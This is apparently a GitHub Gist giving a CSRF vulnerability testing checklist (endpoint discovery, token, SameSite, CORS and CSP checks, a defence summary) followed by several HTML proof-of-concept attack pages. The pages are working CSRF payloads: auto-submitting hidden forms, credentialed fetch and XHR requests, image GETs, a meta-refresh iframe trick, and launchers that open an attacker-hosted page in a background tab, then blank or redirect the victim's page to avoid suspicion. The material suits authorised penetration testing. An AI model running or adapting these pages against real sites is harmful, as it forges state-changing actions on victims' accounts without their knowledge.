Skip to content

Instantly share code, notes, and snippets.

@aravindkumarsvg
Last active June 24, 2025 17:43
Show Gist options
  • Save aravindkumarsvg/45144f41d35868f8006909d561382cbc to your computer and use it in GitHub Desktop.
Save aravindkumarsvg/45144f41d35868f8006909d561382cbc to your computer and use it in GitHub Desktop.
CSRF Checklist

βœ… CSRF Vulnerability Testing Checklist

πŸ“Œ Phase 1: Identify Candidate Endpoints

  • Look for state-changing actions (e.g., transfer, password change, account update).
  • Confirm the endpoint uses cookie-based authentication.
  • Check if the endpoint accepts GET or POST methods.

πŸ“Œ Phase 2: Analyze Request Properties

  • Is a session cookie sent with the request?
  • Does the request require a CSRF token?
    • In a form field?
    • In a custom header?
  • Is the Origin or Referer header validated by the server?

πŸ“Œ Phase 3: Examine Client-Side Controls

  • Check cookie attributes:
    • SameSite=Strict? βœ… Safe
    • SameSite=Lax? 🚫 Allows GET CSRF
    • SameSite=None; Secure? 🚫 Allows CSRF unless other protections in place
  • Is the endpoint loadable in an <iframe>?
    • Blocked by X-Frame-Options: DENY or SAMEORIGIN?
  • Check CSP headers:
    • form-action restricts where forms can submit?
    • Does script-src prevent inline JS?

πŸ“Œ Phase 4: Attempt CSRF PoCs

Method Tested? Notes
<img src="..."> [ ] GET-only, no request body
<iframe src="..."> [ ] May be blocked by XFO/CSP
<form method="GET"> [ ] For GET endpoints
<form method="POST"> [ ] Classic CSRF attack
new Image().src [ ] JS-based GET, programmable
fetch() with cookies [ ] Needs permissive CORS + credentials
iframe meta refresh in srcdoc [ ] Form submission using meta refresh in iframe srcdoc

πŸ“Œ Phase 4.1: Additional Methods (PUT, DELETE, PATCH)

  • Are any endpoints using PUT, DELETE, or PATCH?
  • Can they be accessed via fetch() or XMLHttpRequest?
  • Does the request require a preflight?
  • Does the server respond with unsafe CORS headers?
    • Access-Control-Allow-Origin: * + Access-Control-Allow-Credentials: true
    • Access-Control-Allow-Methods includes the method in use
  • Do these methods trigger any state-changing operations?

πŸ“Œ Phase 5: Response Handling

  • Response status: 200, 302, or 403?
  • Is action completed (e.g., email/password changed)?
  • Use side effects or indicators (e.g., onload/onerror) to confirm success.
  • Verify with a second account if needed.

πŸ“Œ Phase 6: Defense Mechanism Summary

Defense Mechanism Present? Notes
CSRF Token [ ] Must be validated server-side
Origin/Referer Check [ ] Strong if enforced
SameSite Cookie [ ] Recommended: Strict or Lax
X-Frame-Options [ ] Prevents iframe CSRF
CORS Restrictions [ ] Blocks JS-based CSRF (fetch/XHR)
CSP [ ] Can limit attack surface

Various Technique POCs - CSRF

<!DOCTYPE html>
<html>
  <head>
    <title>CSRF Test Suite</title>
    <style>
      body { font-family: sans-serif; background: #fafafa; padding: 20px; }
      section { margin-bottom: 2em; border: 1px solid #ccc; padding: 10px; background: #fff; }
      iframe { display: none; }
      code { background: #eee; padding: 2px 6px; border-radius: 4px; }
    </style>
  </head>
  <body>
    <h1>πŸ”₯ CSRF Test Suite</h1>
    <p>Target: <code>https://example.com/endpoint</code></p>

    <!-- βœ… Top-level Form POST -->
    <section>
      <h2>βœ… 1. Top-level form POST (auto-submit)</h2>
      <form id="form1" action="https://example.com/endpoint?r=0.111" method="POST">
        <input type="hidden" name="key1" value="value1" />
        <input type="hidden" name="key2" value="value2" />
      </form>
      <script>document.getElementById("form1").submit();</script>
    </section>

    <!-- ❌ Iframe-based form POST -->
    <section>
      <h2>❌ 2. Form POST in hidden iframe</h2>
      <iframe name="csrfFrame"></iframe>
      <form id="form2" action="https://example.com/endpoint?r=0.222" method="POST" target="csrfFrame">
        <input type="hidden" name="key1" value="value1" />
        <input type="hidden" name="key2" value="value2" />
      </form>
      <script>document.getElementById("form2").submit();</script>
    </section>

    <!-- ❌ JavaScript fetch -->
    <section>
      <h2>❌ 3. JavaScript fetch()</h2>
      <script>
        fetch("https://example.com/endpoint?r=0.333", {
          method: "POST",
          headers: {
            "Content-Type": "application/x-www-form-urlencoded"
          },
          body: new URLSearchParams({
            "key1": "value1",
            "key2": "value2"
          }),
          credentials: "include"
        }).then(r => console.log("Fetch status:", r.status));
      </script>
    </section>

    <!-- ❌ XMLHttpRequest -->
    <section>
      <h2>❌ 4. XMLHttpRequest</h2>
      <script>
        const xhr = new XMLHttpRequest();
        xhr.open("POST", "https://example.com/endpoint?r=0.444");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.withCredentials = true;
        xhr.onload = () => console.log("XHR:", xhr.status);
        xhr.send("key1=value1&key2=value2");
      </script>
    </section>

    <!-- ❌ Image-based (GET CSRF) -->
    <section>
      <h2>❌ 5. Image-based GET CSRF</h2>
      <img src="https://example.com/endpoint?r=0.555&key1=value1&key2=value2" alt="csrf" />
    </section>

    <!-- ❌ JSON CSRF via fetch -->
    <section>
      <h2>❌ 6. JSON POST with fetch (common for APIs)</h2>
      <script>
        fetch("https://example.com/endpoint?r=0.666", {
          method: "POST",
          headers: {
            "Content-Type": "application/json"
          },
          credentials: "include",
          body: JSON.stringify({
            "key1": "value1",
            "key2": "value2"
          })
        }).then(r => console.log("JSON CSRF:", r.status));
      </script>
    </section>

    <!-- βœ… Meta Refresh Redirect (optional) -->
    <section>
      <h2>βœ… 7. Meta-refresh redirect to POST form</h2>
      <iframe srcdoc='
        <html>
          <head>
            <meta http-equiv="refresh" content="0;URL=data:text/html,
              <form method=POST action=https://example.com/endpoint?r=0.777>
                <input type=hidden name=key1 value=value1>
                <input type=hidden name=key2 value=value2>
                <input type=submit>
              </form>
              <script>document.forms[0].submit();</script>">
          </head>
          <body></body>
        </html>
      '></iframe>
    </section>
  </body>
</html>
<!DOCTYPE html>
<html>
  <body>
    <form id="csrfForm" action="https:/victim.com" method="POST">
      <input type="hidden" name="key1" value="value1" />
      <input type="hidden" name="key2" value="value1" />
    </form>
    <script>
      // Step 1: Submit CSRF
      document.getElementById("csrfForm").submit();

      // Step 2: Clear the page or redirect after a delay
      setTimeout(() => {
        // Overwrite the page contents
        window.location.replace("about:blank");
      }, 200); // enough time for the POST to go out
    </script>
  </body>
</html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSRF POC</title>
</head>
<body>
    <section>
        <h2>CSRF - <i id="indicator">In Progress</i></h2>
    </section>
   <script>
        let indicatorProgress = document.getElementById("indicator");
        let win = window.open("<Replace_URL_With_CSRF_Poc_HTML>", "_blank")
        setTimeout(() => {win.close(); indicatorProgress.innerHTML = "Successful"}, 10000)
   </script>
</body>
</html>
<!DOCTYPE html>
<html>
  <head>
    <title>Redirecting...</title>
    <script>
      function launchAttack() {
        // Open CSRF payload in a new background tab
        const win = window.open('https://attacker.com/csrf.html', '_blank');

        // Optional: close it after a delay (give time for form submission)
        setTimeout(() => {
          try { win.close(); } catch (e) {}
        }, 3000); // adjust delay as needed

        // Optional: redirect main tab to benign content to avoid suspicion
        setTimeout(() => {
          window.location.href = "https://example.com";
        }, 1000);
      }
    </script>
  </head>
  <body onload="launchAttack()">
    <p>Redirecting...</p>
  </body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment